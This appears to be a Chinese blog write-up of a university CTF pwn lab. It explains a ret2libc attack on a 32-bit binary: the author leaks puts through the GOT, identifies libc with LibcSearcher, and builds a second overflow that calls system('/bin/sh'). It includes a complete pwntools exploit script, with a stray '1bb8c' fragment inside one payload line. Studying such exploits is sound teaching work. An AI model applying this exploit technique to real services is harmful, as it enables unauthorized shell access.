您的位置:首页 > 其它

Tamevic’s Ctf-Pwn writeup@软件安全‘实验3pwn’

2019-03-19 19:38 721 查看

Tamevic’s Ctf-Pwn writeup@软件安全‘实验3pwn’

实验难度升级==有点晕了

文件
其实和实验2是同一个文件,然后我还没传网盘…然后…好吧我承认我有拖延症…
3.24更新:我来发文件了…链接:https://pan.baidu.com/s/19gIMQhEQSaB3LJWb1rFFYQ 密码:6xlt

分析

这次实验的要求是不允许直接使用System函数,也不允许使用文件自带的getflag()函数,需要使用一些其他的技巧来获得System函数的地址。

划重点:
参考CTF-WIKI:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop/#3
System函数是libc.so函数库中的一个函数,而且函数和函数在其中的相对位置(或者说相对偏移)不会发生变化,所以我们可以先使用一个其他的函数,得到它的地址,确定这个函数使用的libc版本(libc在github上有人收集),然后再获得System函数的地址。
那如何获得某个函数的地址?具体操作是使用got表泄露,即将这个函数got表中的内容输出出来即可。

关于got表和plt表,可以看看这篇博客:https://www.geek-share.com/detail/2696162685.html

所以基本操作就是先获得libc,然后在库中查询System函数(其实’/bin/sh‘字符串在libc中也有,也可以同样查询出来),这里用到一个工具LibcSearcher(https://github.com/lieanu/LibcSearcher )

具体exp思路:

  • 利用一次主函数的溢出,将ret设置为想要溢出的函数的plt表地址(我们这里用的是’puts‘函数), 将got表中的数据输出出来,并再次进入主函数
  • 获得libc版本,计算System函数地址,计算’/bin/sh‘字符串地址
  • 再次利用main()函数的溢出,使程序跳转到system(’/bin/sh’),随后getshell

-看看主函数 记下主函数地址

0x080484FD

-写脚本
之前对pwn理解不够深入,一直使用的是静态分析,但简单的东西还能这样做,稍微复杂一些的程序执行起来的样子只有动态调试才能知道。
这里就有一些写脚本的技巧:

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']

第一句的目的是将python和程序之间进行的交互内容公开出来(也可以理解为调试),对其中每一步的变化都可见;
第二句的目的是新建一个terminal,便于进行gdb调试

pwnlib.gdb.attach(sh)

这里就是pwntools自带的工具,大概功能就是在程序的相应位置下断点,然后利用新建的terminal窗口进行调试。但是这里其实是有些缺陷,断点的位置通常会滞后。

已经使用的函数的plt表地址和got表地址怎么获取?这里也是pwntools的一个附件可以实现
LibcSearcher怎么使用?

libc = LibcSearcher('函数名',已经泄露的地址)
libcbase = 已经泄露的地址 - libc.dump('函数名')
想要泄露的函数地址 = libcbase + libc.dump('想要泄露的函数地址')

写好exp开始运行,得到结果

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
sh=process('./pwn')
elf=ELF('./pwn')

main_addr=0x080484FD

puts_plt=elf.plt['puts']
print('puts_plt',hex(puts_plt))
puts_got=elf.got['puts']
print('puts_got',hex(puts_got))

#pwnlib.gdb.attach(sh)
payload='a'*112+p32(puts_plt)+p32(main_addr)+p32(puts_got)

sh.recvuntil('try\n')
sh.sendline(payload)

#print ('got libc_st_main')

puts_addr = u32(sh.recv(4))
#print ('puts_addr',hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
#print libc
libcbase = puts_addr - libc.dump('puts')
#print '!'
system_addr = libcbase + libc.dump('system')
#print"!"
binsh_addr = libcbase + libc.dump('str_bin_sh')
#print'!'

payload =
1bb8c
'A'*104+ p32(system_addr) + 'b'*4 + p32(binsh_addr)
sh.sendline(payload)

sh.interactive()

结果

运行脚本,getshell

这里其实还有很多问题:
可能有些人能看到,我两次main()函数中溢出的位置不一样,一次是

0x6c+4
,一次是
0x64+4
,这就需要动态调试去发现了。由于
s=esp+0x1c
,用
ebp-esp-0x1c
就可以知道溢出位置。

End

其实本可以很早就能做出来的…最致命操作是我写错了 ’system’ …还有‘str_bin_sh’…然后就造成下面这种情况 明明匹配到了libc库却找不到函数…
枯了。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: